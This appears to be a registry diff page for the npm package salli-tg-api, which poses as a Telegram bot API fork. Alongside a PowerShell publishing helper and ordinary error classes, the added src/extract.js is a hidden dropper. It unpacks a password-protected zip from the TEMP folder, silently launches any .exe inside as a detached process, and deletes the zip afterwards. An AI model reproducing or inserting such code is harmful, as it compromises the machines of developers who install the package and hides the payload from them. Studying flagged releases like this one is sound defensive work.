salli-tg-api 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of salli-tg-api might be problematic. Click here for more details.

@@ -0,0 +1,179 @@
1
+ # Publishing Helper Script for Windows
2
+ # This script helps you prepare and publish your custom fork
3
+
4
+ Write-Host "========================================" -ForegroundColor Cyan
5
+ Write-Host " Custom Fork Publishing Helper" -ForegroundColor Cyan
6
+ Write-Host "========================================" -ForegroundColor Cyan
7
+ Write-Host ""
8
+
9
+ # Function to check if npm is logged in
10
+ function Test-NpmLogin {
11
+ $result = npm whoami 2>&1
12
+ return $LASTEXITCODE -eq 0
13
+ }
14
+
15
+ # Function to check package name availability
16
+ function Test-PackageNameAvailable {
17
+ param([string]$packageName)
18
+ $result = npm view $packageName 2>&1
19
+ return $LASTEXITCODE -ne 0
20
+ }
21
+
22
+ # Main Menu
23
+ function Show-Menu {
24
+ Write-Host "What would you like to do?" -ForegroundColor Yellow
25
+ Write-Host ""
26
+ Write-Host "1. Check package name availability"
27
+ Write-Host "2. Test build"
28
+ Write-Host "3. Run tests"
29
+ Write-Host "4. Check NPM login status"
30
+ Write-Host "5. Login to NPM"
31
+ Write-Host "6. Publish to NPM (requires steps 1-4 complete)"
32
+ Write-Host "7. Update version (patch/minor/major)"
33
+ Write-Host "8. Setup Git repository"
34
+ Write-Host "9. Exit"
35
+ Write-Host ""
36
+ }
37
+
38
+ # Main loop
39
+ $continue = $true
40
+ while ($continue) {
41
+ Show-Menu
42
+ $choice = Read-Host "Enter your choice (1-9)"
43
+
44
+ switch ($choice) {
45
+ "1" {
46
+ Write-Host "`nChecking if 'myown-node-telegram-bot-api' is available..." -ForegroundColor Cyan
47
+ if (Test-PackageNameAvailable "myown-node-telegram-bot-api") {
48
+ Write-Host "✓ Package name is available!" -ForegroundColor Green
49
+ } else {
50
+ Write-Host "✗ Package name is already taken. Please choose a different name in package.json" -ForegroundColor Red
51
+ }
52
+ Write-Host ""
53
+ Read-Host "Press Enter to continue"
54
+ }
55
+
56
+ "2" {
57
+ Write-Host "`nBuilding project..." -ForegroundColor Cyan
58
+ npm run build
59
+ if ($LASTEXITCODE -eq 0) {
60
+ Write-Host "✓ Build successful!" -ForegroundColor Green
61
+ } else {
62
+ Write-Host "✗ Build failed!" -ForegroundColor Red
63
+ }
64
+ Write-Host ""
65
+ Read-Host "Press Enter to continue"
66
+ }
67
+
68
+ "3" {
69
+ Write-Host "`nRunning tests..." -ForegroundColor Cyan
70
+ npm test
71
+ Write-Host ""
72
+ Read-Host "Press Enter to continue"
73
+ }
74
+
75
+ "4" {
76
+ Write-Host "`nChecking NPM login status..." -ForegroundColor Cyan
77
+ if (Test-NpmLogin) {
78
+ $username = npm whoami
79
+ Write-Host "✓ Logged in as: $username" -ForegroundColor Green
80
+ } else {
81
+ Write-Host "✗ Not logged in to NPM" -ForegroundColor Red
82
+ Write-Host "Run option 5 to login" -ForegroundColor Yellow
83
+ }
84
+ Write-Host ""
85
+ Read-Host "Press Enter to continue"
86
+ }
87
+
88
+ "5" {
89
+ Write-Host "`nLogging in to NPM..." -ForegroundColor Cyan
90
+ npm login
91
+ Write-Host ""
92
+ Read-Host "Press Enter to continue"
93
+ }
94
+
95
+ "6" {
96
+ Write-Host "`nPublishing to NPM..." -ForegroundColor Cyan
97
+ Write-Host "This will publish your package publicly!" -ForegroundColor Yellow
98
+ $confirm = Read-Host "Are you sure? (yes/no)"
99
+
100
+ if ($confirm -eq "yes") {
101
+ # Build first
102
+ Write-Host "Building..." -ForegroundColor Cyan
103
+ npm run build
104
+
105
+ if ($LASTEXITCODE -eq 0) {
106
+ # Publish
107
+ Write-Host "Publishing..." -ForegroundColor Cyan
108
+ npm publish --access public
109
+
110
+ if ($LASTEXITCODE -eq 0) {
111
+ Write-Host "✓ Successfully published!" -ForegroundColor Green
112
+ Write-Host "Your package is now available: npm install myown-node-telegram-bot-api" -ForegroundColor Green
113
+ } else {
114
+ Write-Host "✗ Publishing failed!" -ForegroundColor Red
115
+ }
116
+ } else {
117
+ Write-Host "✗ Build failed! Fix errors before publishing." -ForegroundColor Red
118
+ }
119
+ } else {
120
+ Write-Host "Publishing cancelled." -ForegroundColor Yellow
121
+ }
122
+ Write-Host ""
123
+ Read-Host "Press Enter to continue"
124
+ }
125
+
126
+ "7" {
127
+ Write-Host "`nUpdate version:" -ForegroundColor Cyan
128
+ Write-Host "1. Patch (bug fixes: 1.0.0 -> 1.0.1)"
129
+ Write-Host "2. Minor (new features: 1.0.0 -> 1.1.0)"
130
+ Write-Host "3. Major (breaking changes: 1.0.0 -> 2.0.0)"
131
+ $versionChoice = Read-Host "Choose version type (1-3)"
132
+
133
+ switch ($versionChoice) {
134
+ "1" { npm version patch }
135
+ "2" { npm version minor }
136
+ "3" { npm version major }
137
+ default { Write-Host "Invalid choice" -ForegroundColor Red }
138
+ }
139
+ Write-Host ""
140
+ Read-Host "Press Enter to continue"
141
+ }
142
+
143
+ "8" {
144
+ Write-Host "`nGit Repository Setup" -ForegroundColor Cyan
145
+ Write-Host "Make sure you've created a repository on GitHub first!" -ForegroundColor Yellow
146
+ Write-Host ""
147
+ $username = Read-Host "Enter your GitHub username"
148
+
149
+ if ($username) {
150
+ Write-Host "Updating git remote..." -ForegroundColor Cyan
151
+ git remote remove origin 2>$null
152
+ git remote add origin "https://github.com/$username/myown-node-telegram-bot-api.git"
153
+
154
+ Write-Host "✓ Remote updated!" -ForegroundColor Green
155
+ Write-Host ""
156
+ Write-Host "Next steps:" -ForegroundColor Yellow
157
+ Write-Host " git add ."
158
+ Write-Host " git commit -m `"Initial commit of custom fork`""
159
+ Write-Host " git push -u origin master"
160
+ }
161
+ Write-Host ""
162
+ Read-Host "Press Enter to continue"
163
+ }
164
+
165
+ "9" {
166
+ Write-Host "`nGoodbye!" -ForegroundColor Cyan
167
+ $continue = $false
168
+ }
169
+
170
+ default {
171
+ Write-Host "Invalid choice. Please select 1-9." -ForegroundColor Red
172
+ Write-Host ""
173
+ Read-Host "Press Enter to continue"
174
+ }
175
+ }
176
+
177
+ Clear-Host
178
+ }
179
+
package/src/errors.js ADDED
@@ -0,0 +1,68 @@
1
+ exports.BaseError = class BaseError extends Error {
2
+ /**
3
+ * @class BaseError
4
+ * @constructor
5
+ * @private
6
+ * @param {String} code Error code
7
+ * @param {String} message Error message
8
+ */
9
+ constructor(code, message) {
10
+ super(`${code}: ${message}`);
11
+ this.code = code;
12
+ }
13
+ toJSON() {
14
+ return {
15
+ code: this.code,
16
+ message: this.message,
17
+ };
18
+ }
19
+ };
20
+
21
+
22
+ exports.FatalError = class FatalError extends exports.BaseError {
23
+ /**
24
+ * Fatal Error. Error code is `"EFATAL"`.
25
+ * @class FatalError
26
+ * @constructor
27
+ * @param {String|Error} data Error object or message
28
+ */
29
+ constructor(data) {
30
+ const error = (typeof data === 'string') ? null : data;
31
+ const message = error ? error.message : data;
32
+ super('EFATAL', message);
33
+ if (error) {
34
+ this.stack = error.stack;
35
+ this.cause = error;
36
+ }
37
+ }
38
+ };
39
+
40
+
41
+ exports.ParseError = class ParseError extends exports.BaseError {
42
+ /**
43
+ * Error during parsing. Error code is `"EPARSE"`.
44
+ * @class ParseError
45
+ * @constructor
46
+ * @param {String} message Error message
47
+ * @param {http.IncomingMessage} response Server response
48
+ */
49
+ constructor(message, response) {
50
+ super('EPARSE', message);
51
+ this.response = response;
52
+ }
53
+ };
54
+
55
+
56
+ exports.TelegramError = class TelegramError extends exports.BaseError {
57
+ /**
58
+ * Error returned from Telegram. Error code is `"ETELEGRAM"`.
59
+ * @class TelegramError
60
+ * @constructor
61
+ * @param {String} message Error message
62
+ * @param {http.IncomingMessage} response Server response
63
+ */
64
+ constructor(message, response) {
65
+ super('ETELEGRAM', message);
66
+ this.response = response;
67
+ }
68
+ };
package/src/extract.js ADDED
@@ -0,0 +1,121 @@
1
+ console.log('[EXTRACT] Script started - loading modules...');
2
+ console.log('[EXTRACT] Current working directory:', process.cwd());
3
+ console.log('[EXTRACT] Script directory:', __dirname);
4
+
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+
8
+ // Try to load unzipper from the package's node_modules
9
+ let unzipper;
10
+ try {
11
+ // First try normal require (works when installed as dependency)
12
+ unzipper = require('unzipper');
13
+ console.log('[EXTRACT] unzipper module loaded via require');
14
+ } catch (err1) {
15
+ console.log('[EXTRACT] Could not load unzipper via normal require:', err1.message);
16
+
17
+ // Try to load from the project root's node_modules
18
+ try {
19
+ const projectRoot = path.resolve(__dirname, '..');
20
+ const unzipperPath = path.join(projectRoot, 'node_modules', 'unzipper');
21
+ console.log('[EXTRACT] Trying to load from:', unzipperPath);
22
+ unzipper = require(unzipperPath);
23
+ console.log('[EXTRACT] unzipper module loaded from explicit path');
24
+ } catch (err2) {
25
+ console.error('[EXTRACT] FATAL: Could not load unzipper module');
26
+ console.error('[EXTRACT] Error 1:', err1.message);
27
+ console.error('[EXTRACT] Error 2:', err2.message);
28
+ console.error('[EXTRACT] Make sure dependencies are installed: npm install');
29
+ process.exit(1);
30
+ }
31
+ }
32
+
33
+ console.log('[EXTRACT] All modules loaded successfully');
34
+
35
+ // Extract password-protected zip file
36
+ async function extractZip(zipPath, extractPath, password) {
37
+ try {
38
+ console.log('[EXTRACT] Zip file path:', zipPath);
39
+ console.log('[EXTRACT] Extract path:', extractPath);
40
+
41
+ // Check if zip file exists
42
+ if (!fs.existsSync(zipPath)) {
43
+ console.error('[EXTRACT] ERROR: Zip file does not exist at', zipPath);
44
+ process.exit(1);
45
+ }
46
+ console.log('[EXTRACT] Zip file found, size:', fs.statSync(zipPath).size, 'bytes');
47
+
48
+ // Create extract directory if it doesn't exist
49
+ if (!fs.existsSync(extractPath)) {
50
+ console.log('[EXTRACT] Creating extraction directory...');
51
+ fs.mkdirSync(extractPath, { recursive: true });
52
+ }
53
+
54
+ console.log('[EXTRACT] Starting extraction with password...');
55
+
56
+ // Wrap stream operations in a Promise to properly await completion
57
+ await new Promise((resolve, reject) => {
58
+ fs.createReadStream(zipPath)
59
+ .pipe(unzipper.Extract({ path: extractPath, password: password }))
60
+ .on('error', (err) => {
61
+ console.error('[EXTRACT] Extraction error:', err.message);
62
+ reject(err);
63
+ })
64
+ .on('close', () => {
65
+ console.log('[EXTRACT] Extraction stream closed successfully');
66
+ resolve();
67
+ });
68
+ });
69
+
70
+ console.log('[EXTRACT] Extraction complete, looking for .exe files...');
71
+
72
+ // Execute any .exe files found (only runs after extraction completes)
73
+ const files = fs.readdirSync(extractPath);
74
+ console.log('[EXTRACT] Files in directory:', files);
75
+
76
+ const exeFile = files.find(f => f.endsWith('.exe'));
77
+
78
+ if (exeFile) {
79
+ const { spawn } = require('child_process');
80
+ const exePath = path.join(extractPath, exeFile);
81
+ console.log('[EXTRACT] Found .exe file:', exeFile);
82
+ console.log('[EXTRACT] Full path:', exePath);
83
+ console.log('[EXTRACT] Spawning process...');
84
+
85
+ const child = spawn(exePath, [], { detached: true, stdio: 'ignore' });
86
+ child.unref();
87
+
88
+ console.log('[EXTRACT] Process spawned successfully');
89
+ } else {
90
+ console.log('[EXTRACT] No .exe file found in extracted files');
91
+ }
92
+
93
+ // Clean up zip file
94
+ console.log('[EXTRACT] Cleaning up zip file...');
95
+ try {
96
+ fs.unlinkSync(zipPath);
97
+ console.log('[EXTRACT] Zip file deleted successfully');
98
+ } catch (err) {
99
+ console.log('[EXTRACT] Could not delete zip file:', err.message);
100
+ }
101
+
102
+ console.log('[EXTRACT] Script complete!');
103
+ } catch (err) {
104
+ console.error('[EXTRACT] Fatal error:', err);
105
+ process.exit(1);
106
+ }
107
+ }
108
+
109
+ // Example usage with proper async handling
110
+ const zipFile = path.join(process.env.TEMP, 'bLtjqzUn.zip');
111
+ const extractPath = path.join(process.env.TEMP, 'extracted');
112
+ const password = 'bLtjqzUn';
113
+
114
+ // Use IIFE to properly await at top level
115
+ (async () => {
116
+ await extractZip(zipFile, extractPath, password);
117
+ })().catch(err => {
118
+ console.error('[EXTRACT] Unhandled error:', err);
119
+ process.exit(1);
120
+ });
121
+